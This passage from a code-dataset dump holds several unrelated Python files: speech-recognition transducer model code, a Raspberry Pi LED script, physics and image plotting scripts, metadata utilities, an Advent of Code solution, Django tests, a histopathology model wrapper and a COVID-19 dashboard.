before padding.\n Returns:\n Return a tuple containing 2 tensors:\n - embeddings: its shape is (batch_size, output_seq_len, d_model)\n - lengths, a tensor of shape (batch_size,) containing the number\n of frames in `embeddings` before padding.\n \"\"\"\n\n # Note warmup is fixed to 1.0.\n warmup = 1.0\n x = self.encoder_embed(x)\n x, pos_emb = self.encoder_pos(x)\n x = x.permute(1, 0, 2) # (N, T, C) -> (T, N, C)\n\n # Caution: We assume the subsampling factor is 4!\n\n # lengths = ((x_lens - 1) // 2 - 1) // 2 # issue an warning\n #\n # Note: rounding_mode in torch.div() is available only in torch >= 1.8.0\n lengths = (((x_lens - 1) >> 1) - 1) >> 1\n\n if not is_jit_tracing():\n assert x.size(0) == lengths.max().item()\n\n src_key_padding_mask = make_pad_mask(lengths, x.size(0))\n\n if self.dynamic_chunk_training:\n assert (\n self.causal\n ), \"Causal convolution is required for streaming conformer.\"\n max_len = x.size(0)\n chunk_size = torch.randint(1, max_len, (1,)).item()\n if chunk_size > (max_len * self.short_chunk_threshold):\n chunk_size = max_len\n else:\n chunk_size = chunk_size % self.short_chunk_size + 1\n\n mask = ~subsequent_chunk_mask(\n size=x.size(0),\n chunk_size=chunk_size,\n num_left_chunks=self.num_left_chunks,\n device=x.device,\n )\n x = self.encoder(\n x,\n pos_emb,\n mask=mask,\n src_key_padding_mask=src_key_padding_mask,\n warmup=warmup,\n ) # (T, N, C)\n else:\n x = self.encoder(\n x,\n pos_emb,\n mask=None,\n src_key_padding_mask=src_key_padding_mask,\n warmup=warmup,\n ) # (T, N, C)\n\n x = x.permute(1, 0, 2) # (T, N, C) ->(N, T, C)\n return x, lengths\n\nclass Decoder(nn.Module):\n \"\"\"This class modifies the stateless decoder from the following paper:\n\n RNN-transducer with stateless prediction network\n https://ieeexplore.ieee.org/stamp/stamp.jsp?arnumber=9054419\n\n It removes the recurrent connection from the decoder, i.e., the prediction\n network. Different from the above paper, it adds an extra Conv1d\n right after the embedding layer.\n\n TODO: Implement https://arxiv.org/pdf/2109.07513.pdf\n \"\"\"\n\n def __init__(\n self,\n vocab_size: int,\n decoder_dim: int,\n blank_id: int,\n context_size: int,\n ):\n \"\"\"\n Args:\n vocab_size:\n Number of tokens of the modeling unit including blank.\n decoder_dim:\n Dimension of the input embedding, and of the decoder output.\n blank_id:\n The ID of the blank symbol.\n context_size:\n Number of previous words to use to predict the next word.\n 1 means bigram; 2 means trigram. n means (n+1)-gram.\n \"\"\"\n super().__init__()\n\n self.embedding = ScaledEmbedding(\n num_embeddings=vocab_size,\n embedding_dim=decoder_dim,\n padding_idx=blank_id,\n )\n self.blank_id = blank_id\n\n assert context_size >= 1, context_size\n self.context_size = context_size\n self.vocab_size = vocab_size\n if context_size > 1:\n self.conv = ScaledConv1d(\n in_channels=decoder_dim,\n out_channels=decoder_dim,\n kernel_size=context_size,\n padding=0,\n groups=decoder_dim,\n bias=False,\n )\n\n def forward(self, y: torch.Tensor) -> torch.Tensor:\n \"\"\"\n Args:\n y:\n A 2-D tensor of shape (N, U).\n need_pad:\n True to left pad the input. Should be True during training.\n False to not pad the input. Should be False during inference.\n Returns:\n Return a tensor of shape (N, U, decoder_dim).\n \"\"\"\n y = y.to(torch.int64)\n embedding_out = self.embedding(y)\n if self.context_size > 1:\n embedding_out = embedding_out.permute(0, 2, 1)\n\n # During inference time, there is no need to do extra padding\n # as we only need one output\n assert embedding_out.size(-1) == self.context_size\n embedding_out = self.conv(embedding_out)\n embedding_out = embedding_out.permute(0, 2, 1)\n embedding_out = F.relu(embedding_out)\n return embedding_out\n\nclass Joiner(nn.Module):\n def __init__(\n self,\n encoder_dim: int,\n decoder_dim: int,\n joiner_dim: int,\n vocab_size: int,\n ):\n super().__init__()\n\n self.encoder_proj = ScaledLinear(encoder_dim, joiner_dim)\n self.decoder_proj = ScaledLinear(decoder_dim, joiner_dim)\n self.output_linear = ScaledLinear(joiner_dim, vocab_size)\n\n def forward(\n self,\n encoder_out: torch.Tensor,\n decoder_out: torch.Tensor,\n ) -> torch.Tensor:\n \"\"\"\n Args:\n encoder_out:\n Output from the encoder. Its shape is (N, T, s_range, C).\n decoder_out:\n Output from the decoder. Its shape is (N, T, s_range, C).\n project_input:\n If true, apply input projections encoder_proj and decoder_proj.\n If this is false, it is the user's responsibility to do this\n manually.\n Returns:\n Return a tensor of shape (N, T, s_range, C).\n \"\"\"\n if not is_jit_tracing():\n assert encoder_out.ndim == decoder_out.ndim\n assert encoder_out.ndim in (2, 4)\n assert encoder_out.shape == decoder_out.shape\n\n \n logit = self.encoder_proj(encoder_out) + self.decoder_proj(\n decoder_out\n )\n \n logit = self.output_linear(torch.tanh(logit))\n\n return logit\n\ndef get_encoder_model(params: AttributeDict) -> nn.Module:\n # TODO: We can add an option to switch between Conformer and Transformer\n encoder = Conformer(\n num_features=params.feature_dim,\n subsampling_factor=params.subsampling_factor,\n d_model=params.encoder_dim,\n nhead=params.nhead,\n dim_feedforward=params.dim_feedforward,\n num_encoder_layers=params.num_encoder_layers,\n dynamic_chunk_training=params.dynamic_chunk_training,\n short_chunk_size=params.short_chunk_size,\n num_left_chunks=params.num_left_chunks,\n causal=params.causal_convolution,\n )\n return encoder\n\n\ndef get_decoder_model(params: AttributeDict) -> nn.Module:\n decoder = Decoder(\n vocab_size=params.vocab_size,\n decoder_dim=params.decoder_dim,\n blank_id=params.blank_id,\n context_size=params.context_size,\n )\n return decoder\n\n\ndef get_joiner_model(params: AttributeDict) -> nn.Module:\n joiner = Joiner(\n encoder_dim=params.encoder_dim,\n decoder_dim=params.decoder_dim,\n joiner_dim=params.joiner_dim,\n vocab_size=params.vocab_size,\n )\n return joiner\n\ndef get_transducer_model(\n params: AttributeDict,\n) -> nn.Module:\n encoder = get_encoder_model(params)\n decoder = get_decoder_model(params)\n joiner = get_joiner_model(params)\n\n model = Transducer(\n encoder=encoder,\n decoder=decoder,\n joiner=joiner,\n encoder_dim=params.encoder_dim,\n decoder_dim=params.decoder_dim,\n joiner_dim=params.joiner_dim,\n vocab_size=params.vocab_size,\n )\n return model","repo_name":"k2-fsa/sherpa","sub_path":"triton/scripts/onnx_triton_utils.py","file_name":"onnx_triton_utils.py","file_ext":"py","file_size_in_byte":15812,"program_lang":"python","lang":"en","doc_type":"code","stars":332,"dataset":"github-code","pt":"37"} +{"seq_id":"7017643298","text":"import RPi.GPIO as GPIO\nimport time\n\nledPins = [11, 12, 13, 15, 16, 18, 22, 3, 5, 24]\n\ndef setup():\n GPIO.setmode(GPIO.BOARD)\n GPIO.setup(ledPins, GPIO.OUT)\n GPIO.output(ledPins, GPIO.HIGH)\n\ndef loop():\n alternator = True\n while True:\n i =0\n if alternator:\n i =0\n else:\n i =1\n \n for ledPin in ledPins:\n if i % 2 == 0:\n GPIO.output(ledPin, GPIO.LOW)\n else:\n GPIO.output(ledPin, GPIO.HIGH)\n \n i+=1\n alternator = not alternator\n time.sleep(0.5)\n\ndef destroy():\n GPIO.cleanup()\n print('cleaned up')\n\nif __name__ == '__main__':\n setup()\n try:\n loop()\n except KeyboardInterrupt:\n destroy()","repo_name":"sjmoden/RaspberryPiGPIOEExercises","sub_path":"03_bargraph/alternate.py","file_name":"alternate.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"11070787440","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.gridspec as gridspec\nfrom scipy.interpolate import interp1d\n\nfig = plt.figure(figsize=(8, 8))\ngs = gridspec.GridSpec(4, 1, hspace=0, wspace=0)\ndata_th = np.loadtxt('../../JETSCAPE-output/pp2760/pp2760_chargedHadron.txt')\ndata_ex = np.loadtxt('pp2760_chargedHadron_data.txt')\n\nth_x = data_th.T[0]\nth_y = data_th.T[1]\nth_err = data_th.T[2]\nth_interp = interp1d(th_x, th_y)\n\nex_x = (data_ex.T[0] + data_ex.T[1]) / 2\nex_y = data_ex.T[2]\nex_xerr = (data_ex.T[1]-data_ex.T[0])/2\nex_yerr = np.sqrt(data_ex.T[3]**2+data_ex.T[4]**2)\nth_interp_y = [th_interp(pt) for pt in ex_x]\n\nfor i in range(2): \n if (i == 0): \n ax = fig.add_subplot(gs[:-1])\n ax.fill_between(th_x, th_y-th_err, th_y+th_err, alpha=0.2, edgecolor='none', label='JETSCAPE')\n ax.plot(th_x, th_y, linewidth=0.5)\n ax.errorbar(ex_x, ex_y, xerr=ex_xerr, yerr=ex_yerr, fmt='.', markersize=5, elinewidth=0.1, label='CMS')\n ax.set_yscale('log')\n ax.set_ylim(1e-13, 1e-5)\n ax.set_ylabel('$\\\\frac{d^3N}{d\\eta d^2p_T} \\left(\\\\frac{1}{GeV^2\\cdot c^2}\\\\right)$')\n ax.tick_params(axis='x', which='both', bottom=False)\n ax.legend()\n else: \n ax = fig.add_subplot(gs[-1])\n ax.errorbar(ex_x, ex_y/th_interp_y, xerr=ex_xerr, yerr=np.sqrt(ex_yerr**2/th_y[:-1]**2+th_err[:-1]**2/ex_y**2), fmt='.', label='JETSCAPE ratio', markersize=5, elinewidth=0.1)\n ratio_baseline = [1 for x in ex_x]\n ax.plot(ex_x, ratio_baseline, '--', color='black', markersize=1)\n ax.set_yscale('linear')\n ax.set_ylim(0., 2.)\n ax.set_ylabel('data/theory')\n ax.legend(loc='lower right')\n ax.set_xlim(10, 100)\n ax.tick_params(direction=\"in\", which='both')\n\nfig.suptitle('pp, 2760GeV, charged hadron, $|\\eta|<1$, JETSCAPE vs. CMS12')\nplt.savefig('../../JETSCAPE-output/pp2760/pp2760_chargedHadron_data_compare.pdf')\n","repo_name":"TianyuDai/JETSCAPE-rhic-ags","sub_path":"analysis/plot_pp2760_charged_hadron.py","file_name":"plot_pp2760_charged_hadron.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"9495975198","text":"import cv2\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nimg = cv2.imread('bird-migration.jpg')\r\nchannel = [0,1,2] # 0, 1 and 2 are the id numbers of the blue, green and red channels\r\nfor i in channel:\r\n hist = cv2.calcHist([img],[i],None,[256],[0,256]) # Calculating histogram\r\n plt.plot(hist)\r\n plt.xlim([0,256])\r\n plt.show()","repo_name":"HilalEKC/DIGITAL-IMAGING-INTERPRETATION","sub_path":"create_histogram.py","file_name":"create_histogram.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33611061240","text":"from qiime2 import Metadata\nimport arrow\n\n\ndef strict_parse(\n timestamp,\n expected_formats=[\n \"YYYY-MM-DD\",\n \"YYYY-M-D\",\n \"MM/DD/YYYY\",\n \"M/D/YYYY\",\n \"M/D/YY\",\n # Idiosyncratic formats needed to parse some timestamps I've run into\n \"[']YYYY-MM-DD\",\n \"YYYY-MM-DD[:]\",\n ],\n):\n \"\"\"Parses a timestamp; only succeeds if it contains a year, month, and day.\n\n This function is intended to be more strict than many publicly\n available timestamp parsers, which accept timestamps that don't\n explicitly specify days or months like \"2012\" or \"2012-10\". For\n Qeeseburger (as of writing, at least), we require that each timestamp\n at least specifies precision down to the day. (Cases like \"2012-10\"\n should be flagged as invalid timestamps; we can't do much with these,\n and in my opinion it makes sense to exclude these from longitudinal\n studies where we have the benefit of a lot of samples, at least for\n now.*)\n\n TLDR: This basically just calls arrow.get(), but I had to go through\n like 3 other libraries before I found something that did what I wanted\n (and even then I still think this solution is harder than it should be).\n\n * You could argue that if the ambiguities occurred in a nonrandom way or\n something then ignoring these could introduce bias into a study, but I\n think \"only look at samples with complete timestamps\" is probably a\n generally safe call.\n\n Parameters\n ----------\n\n timestamp: str\n A string representation of a sample's timestamp.\n\n expected_formats: list of str\n A list of formats to try parsing the timestamp with. This list will\n be passed into arrow.get() as is. YOU WILL PROBABLY WANT TO EXTEND\n THIS LIST if you're going to be parsing arbitrary dates with this\n thing -- these formats are suitable for my use cases right now, but\n not comprehensive.\n\n Returns\n -------\n\n datetime.date\n If parsing succeeded, this returns one of these objects with a\n specified year, month, and day. Note that even if you pass in a\n timestamp with more precise information (e.g. hour, minute, second,\n time zone, ...) this'll be ignored -- we only consider the date.\n\n Raises\n ------\n\n arrow.ParserError: if arrow.get() can't parse the input timestamp using\n the expected_formats. For huge datasets with some\n incomplete or otherwise funky timestamps, this is to\n be expected -- this case should be handled\n appropriately.\n \"\"\"\n arrow_obj = arrow.get(timestamp, expected_formats)\n # If that didn't fail, then Arrow was able to parse the timestamp! Yay.\n return arrow_obj.date()\n\n\ndef check_cols_present(df, required_cols):\n \"\"\"Checks that a collection of columns are all present in a DataFrame.\"\"\"\n\n if len(required_cols & set(df.columns)) < len(required_cols):\n raise ValueError(\n \"Input metadata file must include the following \"\n \"columns: {}\".format(required_cols)\n )\n\n\ndef check_cols_not_present(df, disallowed_cols):\n \"\"\"Checks that a collection of columns are all absent from a DataFrame.\"\"\"\n\n if len(disallowed_cols & set(df.columns)) > 0:\n raise ValueError(\n \"Input metadata file already includes at least one of the \"\n \"following columns: {}\".format(disallowed_cols)\n )\n\n\ndef manipulate_md(\n input_metadata_file, param_list, output_metadata_file, modification_func\n):\n \"\"\"Automates a common I/O paradigm in Qeeseburger's scripts.\n\n Loads a metadata file as a pandas DataFrame, calls modification_func on\n the DF with some specified parameters (can be an empty list if there are\n no other parameters besides the metadata file), and outputs the modified\n metadata DF to an output path.\n \"\"\"\n # First off, load the metadata file and convert it to a DataFrame\n m = Metadata.load(input_metadata_file)\n m_df = m.to_dataframe()\n\n # ... Actually do relevant computations\n m_df_new = modification_func(m_df, *param_list)\n\n # Convert modified DataFrame back into a q2 Metadata object and save it\n Metadata(m_df_new).save(output_metadata_file)\n","repo_name":"fedarko/qeeseburger","sub_path":"qeeseburger/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4434,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"2539438826","text":"from math import atan2, pi\nimport sys\n\ndef gcd(a, b):\n if a == 0:\n return 1\n if b == 0:\n return a\n r = a % b\n return gcd(b, r)\n\ndef reduce(a, b):\n if a == 0:\n return 0, b // abs(b)\n elif b == 0:\n return a // abs(a), 0\n sa = +1 if a >= 0 else -1\n sb = +1 if b >= 0 else -1\n a = abs(a)\n b = abs(b)\n d = gcd(a, b)\n return sa * a // d, sb * b // d\n\ndef visible(asteroids, x0, y0):\n families = {}\n for (xa, ya) in asteroids:\n if (xa, ya) != (x0, y0):\n # print(\"checking:\", xa, ya)\n dx = xa - x0\n dy = ya - y0\n xr, yr = reduce(dx, dy)\n if (xr, yr) not in families:\n families[xr,yr] = []\n # print(\"Adding ray\",xr,yr)\n families[xr,yr].append((xa, ya))\n # print(\"visible:\", num_visible)\n return families\n\ndef best_asteroid(asteroids):\n best = None\n max_visible = None\n for xa, ya in asteroids:\n # print(\"\\n> Asteroid\", xa, ya)\n families = visible(asteroids, xa, ya)\n num_visible = len(families)\n if best is None or num_visible > max_visible:\n best = (xa, ya)\n max_visible = num_visible\n return best, max_visible\n\ndef cw_angle(xp, yp):\n theta = atan2(xp, -yp)\n while theta < 0:\n theta += 2*pi\n return theta * 180 / pi\n\n# ===========================\n\nasteroids = []\nnx = None; ny = None\nwith open(sys.argv[1]) as f:\n y = 0\n for line in f:\n for x in range(len(line.strip())):\n if line[x] == \"#\":\n asteroids.append((x,y))\n if nx is None: nx = len(line.strip())\n y += 1\nny = y\n\n# Part 1\n\nstation_coords, num_visible = best_asteroid(asteroids)\nprint(\"Part 1:\", num_visible)\n\n# Part 2\n\nx0, y0 = station_coords\nprint(\"Station at\", x0, y0)\n\n# Within each family, sort asteroids by distance to station\nnum_roids = 0\nfamilies = visible(asteroids, x0, y0)\nfor key in families.keys():\n families[key].sort(key=lambda coords: (coords[0]-x0)**2+(coords[1]-y0)**2, reverse=True)\n num_roids += len(families[key])\n\n# Destroy asteroids\ndestroyed_roids = []\nwhile len(destroyed_roids) < num_roids:\n # Pop last element in each family, build in list\n to_destroy = []\n for key in families.keys():\n if len(families[key]) == 0:\n continue\n roid = families[key].pop()\n to_destroy.append(roid)\n # Sort list by CW angle\n to_destroy.sort(key=lambda p: cw_angle(p[0]-x0, p[1]-y0))\n # Destroy roids!\n for roid in to_destroy:\n destroyed_roids.append(roid)\n\nx200, y200 = destroyed_roids[199]\nprint(\"Part 2:\", 100*x200 + y200)\n","repo_name":"meithan/AoC19","sub_path":"day10.py","file_name":"day10.py","file_ext":"py","file_size_in_byte":2438,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"13515932784","text":"# -*- coding: utf-8 -*-\nfrom urllib.parse import urlencode\n\nfrom django.http import HttpRequest, QueryDict\nfrom django.template import engines\nfrom django.test import TestCase\n\n\nclass TestPrepaidJinja2Tags(TestCase):\n def _render(self, s, context=None):\n if context is None:\n context = {}\n template = engines[\"wagtail-env\"].from_string(s)\n return template.render(context)\n\n def test_parameter_is_removed_from_querystring(self):\n request = HttpRequest()\n request.GET.update(QueryDict(\"a=1&b=2\"))\n html = self._render(\n \"{{ remove_url_parameter( request, params ) }}\",\n {\"request\": request, \"params\": {\"a\": [\"1\"]}},\n )\n self.assertEqual(\"?b=2\", html)\n\n def test_one_of_multiple_parameters_is_removed_from_querystring(self):\n request = HttpRequest()\n request.GET.update(QueryDict(\"a=1&a=2\"))\n html = self._render(\n \"{{ remove_url_parameter( request, params ) }}\",\n {\"request\": request, \"params\": {\"a\": [\"2\"]}},\n )\n self.assertEqual(\"?a=1\", html)\n\n def test_multiple_parameters_are_removed_from_querystring(self):\n request = HttpRequest()\n request.GET.update(QueryDict(\"a=1&a=2&b=3\"))\n html = self._render(\n \"{{ remove_url_parameter( request, params ) }}\",\n {\"request\": request, \"params\": {\"a\": [\"1\", \"2\"]}},\n )\n self.assertEqual(\"?b=3\", html)\n\n def test_original_querystring_returned_if_param_not_present(self):\n request = HttpRequest()\n request.GET.update(QueryDict(\"a=1\"))\n html = self._render(\n \"{{ remove_url_parameter( request, params ) }}\",\n {\"request\": request, \"params\": {\"a\": [\"2\"]}},\n )\n self.assertEqual(\"?a=1\", html)\n\n def test_unicode_params_are_correctly_encoded(self):\n request = HttpRequest()\n request.GET.update(QueryDict(\"a=1&a=unicodë\"))\n html = self._render(\n \"{{ remove_url_parameter( request, params ) }}\",\n {\"request\": request, \"params\": {\"a\": [\"1\"]}},\n )\n self.assertEqual(\"?\" + urlencode({\"a\": \"unicodë\"}, \"utf-8\"), html)\n","repo_name":"cfpb/consumerfinance.gov","sub_path":"cfgov/prepaid_agreements/tests/test_jinja2tags.py","file_name":"test_jinja2tags.py","file_ext":"py","file_size_in_byte":2181,"program_lang":"python","lang":"en","doc_type":"code","stars":241,"dataset":"github-code","pt":"37"} +{"seq_id":"28337945703","text":"#The source files being used only contain players that have data from the given year. There are many players in ESPN's player\r\n #pool that do not have any data (\"--\" listed for each column). These players are not included in the source file\r\n\r\nfrom collections import OrderedDict\r\nfrom operator import itemgetter\r\n\r\nprint(\"Enter scoring values for the following categories: IP, H, ER, BB, K, PKO, QS, CG, SO, NH, PG, W, L, SV, BS\")\r\nprint()\r\nIP = float(input(\"How many points per IP? \"))\r\nH = float(input(\"How many points per H? \"))\r\nER = float(input(\"How many points per ER? \"))\r\nBB = float(input(\"How many points per BB? \"))\r\nK = float(input(\"How many points per K? \"))\r\nPKO = float(input(\"How many points per pickoff? \"))\r\nQS = float(input(\"How many points per quality start? \"))\r\nCG = float(input(\"How many points per complete game? \"))\r\nSO = float(input(\"How many points per shutout? \"))\r\nNH = float(input(\"How many points per no hitter? \"))\r\nPG = float(input(\"How many points per perfect game? \"))\r\nW = float(input(\"How many points per win? \"))\r\nL = float(input(\"How many points per loss? \"))\r\nSV = float(input(\"How many points per save? \"))\r\nBS = float(input(\"How many points per blown save? \"))\r\n\r\ndef getScoringSettings():\r\n print(\"\"\"\r\nScoring settings:\r\n IP = %g H = %g ER = %g BB = %g K = %g\r\n PKO = %g QS = %g CG = %g Shutout = %g No hitter = %g\r\n Perfect game = %g W = %g L = %g SV = %g BS = %g\r\n\"\"\"%(IP, H, ER, BB, K, PKO, QS, CG, SO, NH, PG, W, L, SV, BS))\r\n\r\ndef primeData(file):\r\n dataFile = open(file, \"r\")\r\n pitchingData = []\r\n for line in dataFile:\r\n theLine = line.split()\r\n pitchingData.append(theLine)\r\n \r\n pointsDict = {}\r\n \r\n for entry in pitchingData:\r\n #Header will list the player's first and last name, along with the team they play for and their positions\r\n headerList = entry[:-15]\r\n header = \"\"\r\n for item in headerList:\r\n if item != \"DTD\":\r\n header = header + str(item) + \" \"\r\n header = header[:-1] #Removes last space\r\n \r\n #stats has the form: [IP, H, ER, BB, K, PKO, QS, CG, SO, NH, PG, W, L, SV, BS] (List of float values)\r\n stats = []\r\n for i in range(-15, 0, 1): #Using negative indicies bypasses extra details in header i.e. DL15 or a 3rd column for name (Seung Hawn Oh)\r\n stats.append(float(entry[i]))\r\n \r\n #IP requires some extra work, as a player that pitched, for example, 200 and 1/3rd innings has 200.1 as their entry\r\n #The correct IP total doesn't work if you just take 200.1 * points per IP\r\n inningsPitched = stats[0]\r\n rounded = inningsPitched // 1\r\n extra = inningsPitched % 1\r\n \r\n if extra > 0.0 and extra <= 0.1:\r\n extra = 1.0\r\n elif extra > 0.1 and extra <= 0.2:\r\n extra = 2.0\r\n else:\r\n extra = 0.0\r\n totalIP = rounded\r\n IPpoints1 = rounded*IP\r\n IPpoints2 = extra*(IP/3)\r\n totalIPpoints = IPpoints1 + IPpoints2\r\n \r\n #Multiplying each category by the number of points per stat based on league settings,\r\n #then adding them all together to get total points scored, and adding that total to a dictonary (key is the header from above)\r\n pointsScored = totalIPpoints + stats[1]*H + stats[2]*ER + stats[3]*BB + stats[4]*K + stats[5]*PKO + stats[6]*QS + stats[7]*CG + stats[8]*SO + stats[9]*NH + stats[10]*PG + stats[11]*W + stats[12]*L + stats[13]*SV + stats[14]*BS \r\n pointsDict[header] = pointsScored\r\n \r\n return pointsDict\r\n\r\ndef sortDictionary(aDict):\r\n orderedPointsDict = OrderedDict(sorted(aDict.items(), key=itemgetter(1), reverse=True))\r\n return orderedPointsDict\r\n\r\ndef main():\r\n getScoringSettings()\r\n \r\n year = input(\"Want to use 2016 or 2015 data? \")\r\n fileName = \"RawPitchingData\" + year + \".txt\"\r\n \r\n pointsDict = primeData(fileName)\r\n orderedPointsDict = sortDictionary(pointsDict) \r\n\r\n print(\"Pitcher rankings and the points they scored under the above scoring settings:\")\r\n print()\r\n\r\n for header, points in orderedPointsDict.items():\r\n print('{header}: {points}'.format(header=header, points=points))\r\n\r\nmain()","repo_name":"smitma09/FantasyBaseballScoringCustomization","sub_path":"PitchingCustomization.py","file_name":"PitchingCustomization.py","file_ext":"py","file_size_in_byte":4339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15226549515","text":"from torch import nn\nimport torch.nn.functional as F\nfrom efficientnet_pytorch import EfficientNet\nimport torchvision.models as models\n\n\ndef remove_last_layer(model):\n \"\"\" remove last layer of the base model and return the last feature \"\"\"\n last_layer = list(model.children())[-1]\n feat_size = last_layer.in_features\n module_list = nn.Sequential(*list(model.children())[:-1])\n return module_list, feat_size\n\n\nclass ResNetCustom(nn.Module):\n def __init__(self, base_model, drop_out, n_class):\n super(ResNetCustom, self).__init__()\n self.base_model = base_model\n self.base_model, feat_size = remove_last_layer(base_model)\n self.dropout = nn.Dropout(drop_out)\n self.output_layer = nn.Linear(feat_size, n_class)\n\n def forward(self, batch_img):\n model_logits = self.base_model(batch_img)\n model_logits = model_logits.squeeze()\n model_logits = self.dropout(model_logits)\n output_logits = self.output_layer(model_logits)\n\n return output_logits\n\n\nclass DensenetCustom(nn.Module):\n def __init__(self, base_model, drop_out, n_class):\n super(DensenetCustom, self).__init__()\n self.base_model = base_model\n self.base_model, feat_size = remove_last_layer(base_model)\n self.dropout = nn.Dropout(drop_out)\n self.output_layer = nn.Linear(feat_size, n_class)\n\n def forward(self, batch_img):\n model_logits = self.base_model(batch_img)\n model_logits = F.adaptive_avg_pool2d(model_logits, (1, 1))\n model_logits = model_logits.squeeze()\n model_logits = self.dropout(model_logits)\n output_logits = self.output_layer(model_logits)\n\n return output_logits\n\n\nclass PatchCamelyonModel(nn.Module):\n def __init__(self, model_signature, drop_out, n_class=1):\n \"\"\"\n Build model by provided model signature.\n :param model_signature: string to identify which model to use. ['efficient-net', 'res-net', 'dense-net']\n \"\"\"\n super(PatchCamelyonModel, self).__init__()\n self.model_signature = model_signature\n assert model_signature in ['efficient-net', 'res-net', 'dense-net']\n if model_signature == 'efficient-net':\n self.model = EfficientNet.from_pretrained('efficientnet-b5', num_classes=n_class)\n elif model_signature == 'dense-net':\n base_model = models.densenet161(pretrained=True)\n self.model = DensenetCustom(base_model, drop_out=drop_out, n_class=n_class)\n else:\n base_model = models.resnet50(pretrained=True)\n self.model = ResNetCustom(base_model, drop_out=drop_out, n_class=n_class)\n\n def forward(self, img_batch):\n \"\"\"\n :param img_batch: batch of images. [N x C x W x H]\n :return: image logits with the shape of [N]\n \"\"\"\n logits = self.model(img_batch)\n logits = logits.squeeze()\n return logits\n\n def get_total_params(self):\n total_params = sum(p.numel() for p in self.model.parameters())\n trainable_params = sum(p.numel() for p in self.model.parameters() if p.requires_grad)\n print('Model: %s - total parameters: %s - trainable parameter: %s ' % (\n self.model_signature, total_params, trainable_params))\n","repo_name":"phunxv289/master-xu-ly-anh-va-thi-giac-may-tinh","sub_path":"sources/model_utils.py","file_name":"model_utils.py","file_ext":"py","file_size_in_byte":3277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18166262214","text":"# Import visualization tools:\r\nimport dash\r\nimport dash_core_components as dcc\r\nimport dash_html_components as html\r\nimport plotly.graph_objs as go\r\nfrom plotly.subplots import make_subplots\r\nimport plotly_express as px\r\n\r\n# Import analysis tools\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\n# Import ISO3 mapping tool\r\nfrom geonamescache.mappers import country\r\n\r\n# Import GEOjson data\r\nfrom urllib.request import urlopen\r\nimport json\r\nwith urlopen('https://raw.githubusercontent.com/plotly/datasets/master/geojson-counties-fips.json') as response:\r\n counties = json.load(response)\r\n\r\n# Import timep\r\nfrom datetime import datetime, timedelta\r\n\r\ndef serve_layout():\r\n # Links to time series datasets on github:\r\n url_confirmed = 'https://raw.githubusercontent.com/CSSEGISandData/COVID-19/master/csse_covid_19_data/csse_covid_19_time_series/time_series_covid19_confirmed_global.csv'\r\n url_deaths = 'https://raw.githubusercontent.com/CSSEGISandData/COVID-19/master/csse_covid_19_data/csse_covid_19_time_series/time_series_covid19_deaths_global.csv'\r\n # Create dataframes from datasets:\r\n df_confirmed = pd.read_csv(url_confirmed)\r\n df_deaths = pd.read_csv(url_deaths)\r\n # Replace null values with zeroes:\r\n df_confirmed[df_confirmed.columns[4:]] = df_confirmed[df_confirmed.columns[4:]].fillna(0, downcast = 'infer')\r\n df_deaths[df_deaths.columns[4:]] = df_deaths[df_deaths.columns[4:]].fillna(0, downcast = 'infer')\r\n\r\n # Try today's date. If not yet updated use yesterday's date for daily reports:\r\n try:\r\n date = datetime.now().strftime('%m-%d-%Y')\r\n url_daily_reports = f'https://raw.githubusercontent.com/CSSEGISandData/COVID-19/master/csse_covid_19_data/csse_covid_19_daily_reports/{date}.csv'\r\n df_daily_reports = pd.read_csv(url_daily_reports, dtype = {'FIPS': object})\r\n df_daily_reports['FIPS'] = df_daily_reports['FIPS'].str.zfill(5)\r\n except:\r\n date = (datetime.now() - timedelta(days = 1)).strftime('%m-%d-%Y')\r\n url_daily_reports = f'https://raw.githubusercontent.com/CSSEGISandData/COVID-19/master/csse_covid_19_data/csse_covid_19_daily_reports/{date}.csv'\r\n df_daily_reports = pd.read_csv(url_daily_reports, dtype = {'FIPS': object})\r\n df_daily_reports['FIPS'] = df_daily_reports['FIPS'].str.zfill(5)\r\n\r\n # Subsets of confirmed cases:\r\n df_china = df_confirmed[df_confirmed['Country/Region'] == 'China']\r\n df_other = df_confirmed[df_confirmed['Country/Region'] != 'China']\r\n\r\n # Add ISO3 codes to daily updating df\r\n mapper = country(from_key = 'name', to_key = 'iso3')\r\n\r\n country_index = {}\r\n country_index['West Bank and Gaza'] = 'PSE'\r\n country_index['Taiwan*'] = 'TWN'\r\n country_index['Timor-Leste'] = 'TLS'\r\n country_index['Holy See'] = 'VAT'\r\n country_index['Republic of the Congo'] = 'COG'\r\n country_index['Congo (Brazzaville)'] = 'COG'\r\n country_index['Congo (Kinshasa)'] = 'COD'\r\n\r\n df_confirmed['ISO3'] = df_confirmed['Country/Region'].apply(lambda x: country_index.get(x, mapper(x)))\r\n\r\n # Reformat for global choropleth:\r\n df_global = df_confirmed.groupby(['ISO3','Country/Region']).sum().reset_index()\r\n # Convert date columns to rows:\r\n df_global = pd.melt(\r\n df_global,\r\n id_vars = ['ISO3', 'Country/Region', 'Lat', 'Long'],\r\n value_vars = list(df_global.select_dtypes(include = 'int64')),\r\n var_name = 'Date',\r\n value_name = 'Confirmed Cases')\r\n\r\n # Setup df containing states with most cases:\r\n df_us = df_daily_reports[df_daily_reports['Country_Region'] == 'US']\r\n leading_states = df_us.groupby('Province_State')['Confirmed'].sum().sort_values(ascending = False)[0:10].index\r\n df_us_leading_states = df_us[df_us['Province_State'].isin(\r\n leading_states)].groupby(\r\n 'Province_State').sum().sort_values(\r\n by = ['Confirmed'], ascending = False).reset_index()\r\n 